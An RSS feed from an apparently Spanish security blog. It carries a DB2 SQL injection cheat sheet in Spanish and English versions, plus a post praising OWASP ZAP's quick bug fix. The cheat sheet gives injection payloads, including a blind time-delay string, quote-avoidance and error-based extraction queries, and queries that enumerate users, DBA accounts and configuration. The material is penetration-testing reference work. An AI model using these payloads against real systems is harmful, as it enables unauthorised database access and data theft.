<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>Security et alii</title>
	<atom:link href="http://securityetalii.es/feed/" rel="self" type="application/rss+xml" />
	<link>http://securityetalii.es</link>
	<description>Seguridad, sistemas, tecnología et al.</description>
	<lastBuildDate>Tue, 22 May 2012 10:04:18 +0000</lastBuildDate>
	<language>es</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='securityetalii.es' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://s2.wp.com/i/buttonw-com.png</url>
		<title>Security et alii</title>
		<link>http://securityetalii.es</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://securityetalii.es/osd.xml" title="Security et alii" />
	<atom:link rel='hub' href='http://securityetalii.es/?pushpress=hub'/>
		<item>
		<title>DB2 SQL injection cheat sheet</title>
		<link>http://securityetalii.es/2012/05/21/db2-sql-injection-cheat-sheet-2/</link>
		<comments>http://securityetalii.es/2012/05/21/db2-sql-injection-cheat-sheet-2/#comments</comments>
		<pubDate>Mon, 21 May 2012 18:02:49 +0000</pubDate>
		<dc:creator>Adrián</dc:creator>
				<category><![CDATA[seguridad]]></category>
		<category><![CDATA[web hacking]]></category>
		<category><![CDATA[cheat sheets]]></category>
		<category><![CDATA[db2]]></category>
		<category><![CDATA[db2 sql injection cheat sheet]]></category>
		<category><![CDATA[sql injection]]></category>

		<guid isPermaLink="false">http://securityetalii.es/?p=578</guid>
		<description><![CDATA[Note: There is an English version of this post here. Estoy seguro de que todos nosotros (pentesters) usamos bastante los cheat sheets sobre inyección SQL de pentestmonkey. Se han convertido en una referencia cuando se trata de realizar inyecciones SQL, y hay que decir que la mayor parte de las veces solucionan el problema. Sin embargo, [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=securityetalii.es&#038;blog=11665899&#038;post=578&#038;subd=securityetalii&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p style="text-align:justify;"><em><strong>Note</strong>: There is an English version of this post <a title="DB2 SQL injection cheat sheet" href="http://securityetalii.es/2012/05/20/db2-sql-injection-cheat-sheet" target="_blank">here</a>.</em></p>
<p style="text-align:justify;">Estoy seguro de que todos nosotros (pentesters) usamos bastante los <a title="SQL injection cheat sheets" href="http://pentestmonkey.net/cheat-sheet/sql-injection/db2-sql-injection-cheat-sheet" target="_blank">cheat sheets sobre inyección SQL de pentestmonkey</a>. Se han convertido en una referencia cuando se trata de realizar inyecciones SQL, y hay que decir que la mayor parte de las veces solucionan el problema. Sin embargo, los cheat sheets de DB2 son de los menos completos de la web. Quizá porque no es un motor de bases de datos muy extendido, además the ser bastante complejo. Tanto en el trabajo anterior como en este he tenido la ¿suerte? de toparme con muchos sistemas ejecutando DB2, de ahí que la información que faltaba fuera un tanto molesta.</p>
<p style="text-align:justify;">A continuación tenéis una tabla con un cheat sheet actualizado para inyecciones SQL en DB2, basado en el de <a title="DB2 SQL injection cheat sheet" href="http://pentestmonkey.net/cheat-sheet/sql-injection/db2-sql-injection-cheat-sheet" target="_blank">pentestmonkey</a>. Los campos actualizados o modificados o simplemente de nueva creación, están marcados con un asterisco (*). Todas estas consultas han sido probadas en un Win32+DB2 v10.1.0, aunque he tenido la oportunidad de probar algunas en Z/OS+DB2 v9.x and v8.x y la mayoría funcionan bien. Tened en cuenta que no soy un experto en DB2, por lo que si encontráis errores, o información inexacta, o si conocéis otros trucos, sentíos libres de contactarme. Por último, <a title="Dumps DB2 Default Info" href="https://sites.google.com/site/securityetalii/" target="_blank">he subido unos <em>dumps</em></a> de privilegios por defecto, tablas con acceso para PUBLIC y otra información interesante sobre DB2.</p>
<table border="0" cellspacing="0" cellpadding="0" align="center">
<tbody>
<tr>
<td rowspan="5">Versión*</td>
</tr>
<tr>
<td>select service_level from table(sysproc.env_get_inst_info()) as instanceinfo</td>
</tr>
<tr>
<td>select getvariable(&#8216;sysibm.version&#8217;) from sysibm.sysdummy1 &#8212; (v8+)</td>
</tr>
<tr>
<td>select prod_release,installed_prod_fullname from table(sysproc.env_get_prod_info()) as productinfo</td>
</tr>
<tr>
<td>select service_level,bld_level from sysibmadm.env_inst_info</td>
</tr>
<tr>
<td>Comentarios</td>
<td>select blah from foo &#8212; se comenta así (doble guión)</td>
</tr>
<tr>
<td rowspan="4">Usuario Actual</td>
</tr>
<tr>
<td>select user from sysibm.sysdummy1</td>
</tr>
<tr>
<td>select session_user from sysibm.sysdummy1</td>
</tr>
<tr>
<td>select system_user from sysibm.sysdummy1</td>
</tr>
<tr>
<td rowspan="6">Listar Usuarios*</td>
</tr>
<tr>
<td>DB2 usa cuentas del SO. Las que tienen acceso a DB2 pueden obtenerse así:</td>
</tr>
<tr>
<td>select distinct(authid) from sysibmadm.privileges &#8212; necesita privilegios</td>
</tr>
<tr>
<td>select grantee from syscat.dbauth &#8212; resultados incompletos</td>
</tr>
<tr>
<td>select distinct(definer) from syscat.schemata &#8212; más exacta</td>
</tr>
<tr>
<td>select distinct(grantee) from sysibm.systabauth &#8212; igual que la anterior</td>
</tr>
<tr>
<td>Listar Hashes de Contraseñas</td>
<td>N/A (Usuarios del SO)</td>
</tr>
<tr>
<td rowspan="3">Listar Privilegios</td>
</tr>
<tr>
<td>select * from syscat.tabauth &#8212; muestra los privilegios sobre tablas</td>
</tr>
<tr>
<td>select * from syscat.tabauth where grantee = current user &#8212; shows privs for current user</td>
</tr>
<tr>
<td>Listar cuentas DBA (Admin)*</td>
<td>select distinct(grantee) from sysibm.systabauth where CONTROLAUTH=&#8217;Y&#8217;</td>
</tr>
<tr>
<td>Base de datos Actual</td>
<td>select current server from sysibm.sysdummy1</td>
</tr>
<tr>
<td>Listar Bases de datos*</td>
<td>select distinct(table_catalog) from sysibm.tables</td>
</tr>
<tr>
<td>Listar Columnas*</td>
<td>select name, tbname, coltype from sysibm.syscolumns &#8212; also valid syscat and sysstat</td>
</tr>
<tr>
<td rowspan="3">Listar Tablas</td>
</tr>
<tr>
<td>select table_name from sysibm.tables</td>
</tr>
<tr>
<td>select name from sysibm.systables</td>
</tr>
<tr>
<td>Encontrar Tablas a partir de nombre de Columna</td>
<td>select tbname from sysibm.syscolumns where name=&#8217;username&#8217;</td>
</tr>
<tr>
<td>Seleccionar la N-esima fila*</td>
<td>select name from (select * from sysibm.systables order by name asc fetch first N rows only) order by name desc fetch first row only</td>
</tr>
<tr>
<td>Seleccionar el N-esimo Caracter</td>
<td>select substr(&#8216;abc&#8217;,2,1) FROM sysibm.sysdummy1 &#8212; returns b</td>
</tr>
<tr>
<td>Operadores binarios AND/OR/NOT/XOR*</td>
<td>select bitand(1,0) from sysibm.sysdummy1 &#8212; devuelve 0. También disponibles bitandnot, bitor, bitxor, bitnot</td>
</tr>
<tr>
<td>Código ASCII -&gt; Char</td>
<td>select chr(65) from sysibm.sysdummy1 &#8212; devuelve &#8216;A&#8217;</td>
</tr>
<tr>
<td>Char -&gt; Código ASCII</td>
<td>select ascii(&#8216;A&#8217;) from sysibm.sysdummy1 &#8212; devuelve 65</td>
</tr>
<tr>
<td rowspan="3">Conversión</td>
</tr>
<tr>
<td>select cast(&#8217;123&#8242; as integer) from sysibm.sysdummy1</td>
</tr>
<tr>
<td>select cast(1 as char) from sysibm.sysdummy1</td>
</tr>
<tr>
<td rowspan="3">Concatenar Cadenas</td>
</tr>
<tr>
<td>select &#8216;a&#8217; concat &#8216;b&#8217; concat &#8216;c&#8217; from sysibm.sysdummy1 &#8212; devuelve &#8216;abc&#8217;</td>
</tr>
<tr>
<td>select &#8216;a&#8217; || &#8216;b&#8217; from sysibm.sysdummy1 &#8212; devuelve &#8216;ab&#8217;</td>
</tr>
<tr>
<td>Sentencia IF*</td>
<td>Parece que sólo se permite en procedimientos almacenados. Utilizar CASE en su lugar.</td>
</tr>
<tr>
<td>Case Statement*</td>
<td>select CASE WHEN (1=1) THEN &#8216;AAAAAAAAAA&#8217; ELSE &#8216;BBBBBBBBBB&#8217; END from sysibm.sysdummy1</td>
</tr>
<tr>
<td>Evitar Comillas*</td>
<td>SELECT chr(65)||chr(68)||chr(82)||chr(73) FROM sysibm.sysdummy1 &#8212; devuelve &#8220;ADRI&#8221;. Funciona sin el select también.</td>
</tr>
<tr>
<td rowspan="3">Time Delay*</td>
</tr>
<tr>
<td>Consultas pesadas, por ejemplo:</td>
</tr>
<tr>
<td>&#8216; and (SELECT count(*) from sysibm.columns t1, sysibm.columns t2, sysibm.columns t3)&gt;0 and (select ascii(substr(user,1,1)) from sysibm.sysdummy1)=68 &#8212; Si el nombre de usuario empieza con el ascii 68 (&#8216;D&#8217;), la consulta pesada se ejecutará, retrasando la respuesta. Sin embargo, si el usuario no empieza por el ascii 68, la consulta no se ejecutará y la respuesta será más rápida.</td>
</tr>
<tr>
<td rowspan="4">Serializar a XML (para extracción por errores)*</td>
</tr>
<tr>
<td>select xmlagg(xmlrow(table_schema)) from sysibm.tables &#8212; devuelve todo en una sola cadena formateada en XML (v9 y v10)</td>
</tr>
<tr>
<td>select xmlagg(xmlrow(table_schema)) from (select distinct(table_schema) from sysibm.tables) &#8212; Igual pero sin elementos repetidos. (v9 y v10)</td>
</tr>
<tr>
<td>select xml2clob(xmelement(name t, table_schema)) from sysibm.tables &#8212; devuelve todo en una sola cadena formateada en XML (v8). Quizá necesite CAST(xml2clob(&#8230; AS varchar(500)) para ver el resultado.</td>
</tr>
<tr>
<td>Hacer Peticiones DNS</td>
<td>N/A</td>
</tr>
<tr>
<td>Ejecución de Comandos</td>
<td>Parece que sólo está permitido desde procedimientos almacenados o funciones de usuario (UDFs).</td>
</tr>
<tr>
<td>Local File Access</td>
<td>Creo que esto sólo está disponible a través de procedimientos almacenados o el comando db2</td>
</tr>
<tr>
<td>Hostname/IP e Info del OS*</td>
<td>select os_name,os_version,os_release,host_name from sysibmadm.env_sys_info &#8212; requiere privilegios</td>
</tr>
<tr>
<td>Localización de los ficheros de la BD*</td>
<td>select * from sysibmadm.reg_variables where reg_var_name=&#8217;DB2PATH&#8217; &#8212; require privilegios</td>
</tr>
<tr>
<td rowspan="3">Config. del Sistema*</td>
</tr>
<tr>
<td>select dbpartitionnum, name, value from sysibmadm.dbcfg where name like &#8216;auto_%&#8217; &#8212; Require privilegios. Devuelve todos los parámetros de configuración de la base de datos almacenados en memoria para todas las particiones de la DB.</td>
</tr>
<tr>
<td>select name, deferred_value, dbpartitionnum from sysibmadm.dbcfg &#8212; Require privilegios. Devuelve todos los valores de configuración de la base de datos almacenados en disco para todas las particiones de la DB.</td>
</tr>
<tr>
<td>BBDD por defecto*</td>
<td>Lo que tiene sentido para DB2 es conocer esquemas por defecto (y quizá tablas):<br />
SYSIBM/SYSCAT/SYSSTAT/SYSPUBLIC/SYSIBMADM/SYSTOOLS</td>
</tr>
</tbody>
</table>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/securityetalii.wordpress.com/578/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/securityetalii.wordpress.com/578/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/securityetalii.wordpress.com/578/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/securityetalii.wordpress.com/578/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/securityetalii.wordpress.com/578/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/securityetalii.wordpress.com/578/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/securityetalii.wordpress.com/578/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/securityetalii.wordpress.com/578/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/securityetalii.wordpress.com/578/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/securityetalii.wordpress.com/578/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/securityetalii.wordpress.com/578/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/securityetalii.wordpress.com/578/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/securityetalii.wordpress.com/578/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/securityetalii.wordpress.com/578/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=securityetalii.es&#038;blog=11665899&#038;post=578&#038;subd=securityetalii&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://securityetalii.es/2012/05/21/db2-sql-injection-cheat-sheet-2/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/d94aca6d1635b1df1cfb55357decc731?s=96&#38;d=http%3A%2F%2F1.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96&#38;r=G" medium="image">
			<media:title type="html">Adrián</media:title>
		</media:content>
	</item>
		<item>
		<title>DB2 SQL injection cheat sheet</title>
		<link>http://securityetalii.es/2012/05/20/db2-sql-injection-cheat-sheet/</link>
		<comments>http://securityetalii.es/2012/05/20/db2-sql-injection-cheat-sheet/#comments</comments>
		<pubDate>Sun, 20 May 2012 13:49:03 +0000</pubDate>
		<dc:creator>Adrián</dc:creator>
				<category><![CDATA[seguridad]]></category>
		<category><![CDATA[web hacking]]></category>
		<category><![CDATA[cheat sheets]]></category>
		<category><![CDATA[db2]]></category>
		<category><![CDATA[db2 sql injection cheat sheet]]></category>
		<category><![CDATA[sql injection]]></category>

		<guid isPermaLink="false">http://securityetalii.es/?p=534</guid>
		<description><![CDATA[Nota: Hay una versión de esta entrada en Español aquí. I&#8217;m sure we all (pentesters) make extensive use of pentestmonkey&#8217;s SQL injection cheat sheets. They are touchstones when it comes down to SQL injection, and most of the time they save the day. However, DB2 cheat sheet is one of the less complete in pentestmonkey&#8217;s [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=securityetalii.es&#038;blog=11665899&#038;post=534&#038;subd=securityetalii&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p style="text-align:justify;"><em><strong>Nota</strong>: Hay una versión de esta entrada en Español <a title="DB2 SQL injection cheat sheet" href="http://securityetalii.es/2012/05/21/db2-sql-inject…-cheat-sheet-2">aquí</a>.</em></p>
<p style="text-align:justify;">I&#8217;m sure we all (pentesters) make extensive use of <a title="Pentestmonkey's SQL injection cheat sheets" href="http://pentestmonkey.net/cheat-sheet/sql-injection/db2-sql-injection-cheat-sheet" target="_blank">pentestmonkey&#8217;s SQL injection cheat sheets</a>. They are touchstones when it comes down to SQL injection, and most of the time they save the day. However, DB2 cheat sheet is one of the less complete in <a href="http://pentestmonkey.net/" target="_blank">pentestmonkey&#8217;s</a> website. It might be because it&#8217;s not a very common database engine and a fairly complex one. I&#8217;ve had the luck? of coming across lot&#8217;s of DB2 systems in my last and also in my current job. Hence the missing information was extremely annoying.</p>
<p style="text-align:justify;">Following this lines there is a table with an updated DB2 SQL injection cheat sheet, using pentestmonkey&#8217;s as starting point. The updated/modified or new fields are marked with an asterisk (*). All of these queries have been tested on a Win32+DB2 v10.1.0, although I&#8217;ve also had the chance to test some on Z/OS+DB2 v9.x and v8.x and most of them work fine. Please note that I&#8217;m not a DB2 expert, so If you find errors or inaccurate information, or you know other exciting tricks, please feel free to contact me. Finally, I&#8217;ve uploaded some <a title="DB2 Default Dumps" href="https://sites.google.com/site/securityetalii/" target="_blank">DB2 dumps</a> of default privileges, tables with PUBLIC access, and other interesting stuff.</p>
<table border="0" cellspacing="0" cellpadding="0" align="center">
<tbody>
<tr>
<td rowspan="5">Version*</td>
</tr>
<tr>
<td>select service_level from table(sysproc.env_get_inst_info()) as instanceinfo</td>
</tr>
<tr>
<td>select getvariable(&#8216;sysibm.version&#8217;) from sysibm.sysdummy1 &#8212; (v8+)</td>
</tr>
<tr>
<td>select prod_release,installed_prod_fullname from table(sysproc.env_get_prod_info()) as productinfo</td>
</tr>
<tr>
<td>select service_level,bld_level from sysibmadm.env_inst_info</td>
</tr>
<tr>
<td>Comments</td>
<td>select blah from foo &#8212; comment like this (double dash)</td>
</tr>
<tr>
<td rowspan="4">Current User</td>
</tr>
<tr>
<td>select user from sysibm.sysdummy1</td>
</tr>
<tr>
<td>select session_user from sysibm.sysdummy1</td>
</tr>
<tr>
<td>select system_user from sysibm.sysdummy1</td>
</tr>
<tr>
<td rowspan="6">List Users*</td>
</tr>
<tr>
<td>DB2 uses OS accounts. Those with DB2 access can be retrieved with:</td>
</tr>
<tr>
<td>select distinct(authid) from sysibmadm.privileges &#8212; priv required</td>
</tr>
<tr>
<td>select grantee from syscat.dbauth &#8212; incomplete results</td>
</tr>
<tr>
<td>select distinct(definer) from syscat.schemata &#8212; more accurate</td>
</tr>
<tr>
<td>select distinct(grantee) from sysibm.systabauth &#8212; same as previous</td>
</tr>
<tr>
<td>List Password Hashes</td>
<td>N/A (OS User Accounts)</td>
</tr>
<tr>
<td rowspan="3">List Privileges</td>
</tr>
<tr>
<td>select * from syscat.tabauth &#8212; shows priv on tables</td>
</tr>
<tr>
<td>select * from syscat.tabauth where grantee = current user &#8212; shows privs for current user</td>
</tr>
<tr>
<td>List DBA Accounts*</td>
<td>select distinct(grantee) from sysibm.systabauth where CONTROLAUTH=&#8217;Y&#8217;</td>
</tr>
<tr>
<td>Current Database</td>
<td>select current server from sysibm.sysdummy1</td>
</tr>
<tr>
<td>List Databases*</td>
<td>select distinct(table_catalog) from sysibm.tables</td>
</tr>
<tr>
<td>List Columns*</td>
<td>select name, tbname, coltype from sysibm.syscolumns &#8212; also valid syscat and sysstat</td>
</tr>
<tr>
<td rowspan="3">List Tables</td>
</tr>
<tr>
<td>select table_name from sysibm.tables</td>
</tr>
<tr>
<td>select name from sysibm.systables</td>
</tr>
<tr>
<td>Find Tables From Column Name</td>
<td>select tbname from sysibm.syscolumns where name=&#8217;username&#8217;</td>
</tr>
<tr>
<td>Select Nth Row*</td>
<td>select name from (select * from sysibm.systables order by name asc fetch first N rows only) order by name desc fetch first row only</td>
</tr>
<tr>
<td>Select Nth Char</td>
<td>select substr(&#8216;abc&#8217;,2,1) FROM sysibm.sysdummy1 &#8212; returns b</td>
</tr>
<tr>
<td>Bitwise AND/OR/NOT/XOR*</td>
<td>select bitand(1,0) from sysibm.sysdummy1 &#8212; returns 0. Also available bitandnot, bitor, bitxor, bitnot</td>
</tr>
<tr>
<td>ASCII Value -&gt; Char</td>
<td>select chr(65) from sysibm.sysdummy1 &#8212; returns &#8216;A&#8217;</td>
</tr>
<tr>
<td>Char -&gt; ASCII Value</td>
<td>select ascii(&#8216;A&#8217;) from sysibm.sysdummy1 &#8212; returns 65</td>
</tr>
<tr>
<td rowspan="3">Casting</td>
</tr>
<tr>
<td>select cast(&#8217;123&#8242; as integer) from sysibm.sysdummy1</td>
</tr>
<tr>
<td>select cast(1 as char) from sysibm.sysdummy1</td>
</tr>
<tr>
<td rowspan="3">String Concat</td>
</tr>
<tr>
<td>select &#8216;a&#8217; concat &#8216;b&#8217; concat &#8216;c&#8217; from sysibm.sysdummy1 &#8212; returns &#8216;abc&#8217;</td>
</tr>
<tr>
<td>select &#8216;a&#8217; || &#8216;b&#8217; from sysibm.sysdummy1 &#8212; returns &#8216;ab&#8217;</td>
</tr>
<tr>
<td>IF Statement*</td>
<td>Seems only allowed in stored procedures. Use case logic instead.</td>
</tr>
<tr>
<td>Case Statement*</td>
<td>select CASE WHEN (1=1) THEN &#8216;AAAAAAAAAA&#8217; ELSE &#8216;BBBBBBBBBB&#8217; END from sysibm.sysdummy1</td>
</tr>
<tr>
<td>Avoiding Quotes*</td>
<td>SELECT chr(65)||chr(68)||chr(82)||chr(73) FROM sysibm.sysdummy1 &#8212; returns &#8220;ADRI&#8221;. Works without select too</td>
</tr>
<tr>
<td rowspan="3">Time Delay*</td>
</tr>
<tr>
<td>Heavy queries, for example:</td>
</tr>
<tr>
<td>&#8216; and (SELECT count(*) from sysibm.columns t1, sysibm.columns t2, sysibm.columns t3)&gt;0 and (select ascii(substr(user,1,1)) from sysibm.sysdummy1)=68 &#8212; If user starts with ascii 68 (&#8216;D&#8217;), the heavy query will be executed, delaying the response. However, if user doesn&#8217;t start with ascii 68, the heavy query won&#8217;t execute and thus the response will be faster.</td>
</tr>
<tr>
<td rowspan="4">Serialize to XML (for error based)*</td>
</tr>
<tr>
<td>select xmlagg(xmlrow(table_schema)) from sysibm.tables &#8212; returns all in one xml-formatted string</td>
</tr>
<tr>
<td>select xmlagg(xmlrow(table_schema)) from (select distinct(table_schema) from sysibm.tables) &#8212; Same but without repeated elements</td>
</tr>
<tr>
<td>select xml2clob(xmelement(name t, table_schema)) from sysibm.tables &#8212; returns all in one xml-formatted string (v8). May need CAST(xml2clob(&#8230; AS varchar(500)) to display the result.</td>
</tr>
<tr>
<td>Make DNS Requests</td>
<td>N/A</td>
</tr>
<tr>
<td>Command Execution</td>
<td>Seems it&#8217;s only allowed from procedures or UDFs.</td>
</tr>
<tr>
<td>Local File Access</td>
<td>I think this is only available through stored procedures or db2 tool.</td>
</tr>
<tr>
<td>Hostname/IP and OS INFO*</td>
<td>select os_name,os_version,os_release,host_name from sysibmadm.env_sys_info &#8212; requires priv</td>
</tr>
<tr>
<td>Location of DB Files*</td>
<td>select * from sysibmadm.reg_variables where reg_var_name=&#8217;DB2PATH&#8217; &#8212; requires priv</td>
</tr>
<tr>
<td rowspan="3">System Config*</td>
</tr>
<tr>
<td>select dbpartitionnum, name, value from sysibmadm.dbcfg where name like &#8216;auto_%&#8217; &#8212; Requires priv. Retrieve the automatic maintenance settings in the database configuration that are stored in memory for all database partitions.</td>
</tr>
<tr>
<td>select name, deferred_value, dbpartitionnum from sysibmadm.dbcfg &#8212; Requires priv. Retrieve all the database configuration parameters values stored on disk for all database partitions.</td>
</tr>
<tr>
<td>Default System Databases*</td>
<td>What makes sense for DB2 is to know default System Schemas (and maybe tables):<br />
SYSIBM/SYSCAT/SYSSTAT/SYSPUBLIC/SYSIBMADM/SYSTOOLS</td>
</tr>
</tbody>
</table>
<br />  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/securityetalii.wordpress.com/534/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/securityetalii.wordpress.com/534/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/securityetalii.wordpress.com/534/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/securityetalii.wordpress.com/534/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/securityetalii.wordpress.com/534/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/securityetalii.wordpress.com/534/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/securityetalii.wordpress.com/534/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/securityetalii.wordpress.com/534/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/securityetalii.wordpress.com/534/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/securityetalii.wordpress.com/534/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/securityetalii.wordpress.com/534/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/securityetalii.wordpress.com/534/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/securityetalii.wordpress.com/534/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/securityetalii.wordpress.com/534/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=securityetalii.es&#038;blog=11665899&#038;post=534&#038;subd=securityetalii&#038;ref=&#038;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://securityetalii.es/2012/05/20/db2-sql-injection-cheat-sheet/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
	
		<media:content url="http://1.gravatar.com/avatar/d94aca6d1635b1df1cfb55357decc731?s=96&#38;d=http%3A%2F%2F1.gravatar.com%2Favatar%2Fad516503a11cd5ca435acc9bb6523536%3Fs%3D96&#38;r=G" medium="image">
			<media:title type="html">Adrián</media:title>
		</media:content>
	</item>
		<item>
		<title>Un 10 para OWASP ZAP (apología del software libre)</title>
		<link>http://securityetalii.es/2012/05/12/un-10-para-owasp-zap-apologia-software-libre/</link>
		<comments>http://securityetalii.es/2012/05/12/un-10-para-owasp-zap-apologia-software-libre/#comments</comments>
		<pubDate>Sat, 12 May 2012 11:41:17 +0000</pubDate>
		<dc:creator>Adrián</dc:creator>
				<category><![CDATA[herramientas]]></category>
		<category><![CDATA[web hacking]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[OWASP]]></category>
		<category><![CDATA[software libre]]></category>
		<category><![CDATA[ZAP]]></category>

		<guid isPermaLink="false">http://securityetalii.es/?p=529</guid>
		<description><![CDATA[Quería dedicar una entrada a elogiar la estupenda respuesta del equipo de desarrollo de OWASP ZAP, y que sirva de ejemplo de cómo el software libre no supone un handicap para las empresas. Si bien yo recomiendo siempre que, si una empresa utiliza una herramienta de software libre como pieza clave de su trabajo diario, [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=securityetalii.es&#038;blog=11665899&#038;post=529&#038;subd=securityetalii&#038;ref=&#038;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p style="text-align:justify;">Quería dedicar una entrada a elogiar la estupenda respuesta del equipo de desarrollo de OWASP ZAP, y que sirva de ejemplo de cómo el software libre no supone un <em>handicap</em> para las empresas. Si bien yo recomiendo siempre que, si una empresa utiliza una herramienta de software libre como pieza clave de su trabajo diario, se involucre en el desarrollo o mantenimiento de la misma, el caso es que hay proyectos de software libre que tienen unos tiempos de respuesta mejores que muchas empresas de software.</p>
<p><a href="http://securityetalii.files.wordpress.com/2012/05/zap64x64_bigger.png"><img class="aligncenter size-full wp-image-530" title="zap64x64_bigger" src="http://securityetalii.files.wordpress.com/2012/05/zap64x64_bigger.png?w=600" alt="ZAP PROXY"   /></a></p>
<p style="text-align:justify;">La historia es ésta. Esta semana he encontrado un bug en OWASP ZAP 1.4.0.1 mientras trabajaba que, por su gravedad, me llevó a reportarlo inmediatamente (una vez verificado). El problema en cuestión era que cuando el usuario modificaba un parámetro de una petición <strong>POST</strong>, la cabecera <strong>Content-Length</strong> no se actualizaba apropiadamente, por lo que el contenido de la petición llegaba cortado al servidor web, dando lugar a comportamientos más que extraños. El caso es que llevaba notando cosas raras unos días, pero coincidió con las pruebas de una nueva aplicación web, y al principio pensé que era la aplicación la que tenía un comportamiento anormal. La versión 1.4.0.1 se publicó el 9 de Abril de 2012, por lo que presumiblemente todos los usuarios de esa versión durante el último mes han estado padeciendo éste problema sin saberlo.</p>
<p style="text-align:justify;">Pues bien, reporté el problema en el <em>issue tracker</em> de ZAP con el <a title="Reporte en ZAP issue tracker" href="http://code.google.com/p/zaproxy/issues/detail?id=298" target="_blank">id 298</a> a la hora de la comida, y avisé al mismo tiempo a mis compañeros de trabajo, ya que se hacía conveniente revisar los resultados del trabajo de las últimas semanas. Volví a mi trabajo encadenando la versión gratuita de Burp con ZAP para evitar el bug. Mientras, recurrí a la guía de Taddong &#8220;<a title="Compilar ZAP con Eclipse" href="http://www.taddong.com/docs/Building_ZAP_with_Eclipse_v2.0.pdf" target="_blank">Building OWASP ZAP with Eclipse (v2.0)</a>&#8221; y comencé la descarga del IDE, Subversion para Windows, y todo lo necesario para echar un ojo e intentar averiguar dónde y cómo solucionar el problema. Sin embargo, apenas había terminado de montar el entorno y hacerme una idea rápida de cómo iban los módulos y clases cuando me llegó un correo de nuevo comentario en el hilo del tracker. ¡El parche había sido subido al repositorio y un .jar con el fallo corregido estaba disponible para la descarga en el <a title="Link al .jar solucionando el fallo" href="http://code.google.com/p/zaproxy/issues/detail?id=298#c5" target="_blank">hilo del problema</a>! Tiempo total desde que reporté el fallo hasta que se subió la solución: <strong>¡3 horas!</strong></p>
<p style="text-align:justify;">Por cierto, para aquellos que no lo sepan, ZAP no es Burp, pero se acerca muy rápido. En mi opinión, si Burp no se pode las pilas es probable que en el plazo de un año o dos ZAP sea mucho más útil para el pentester que Burp.</p>
<p style="text-align:justify;">¡Salud!</p>
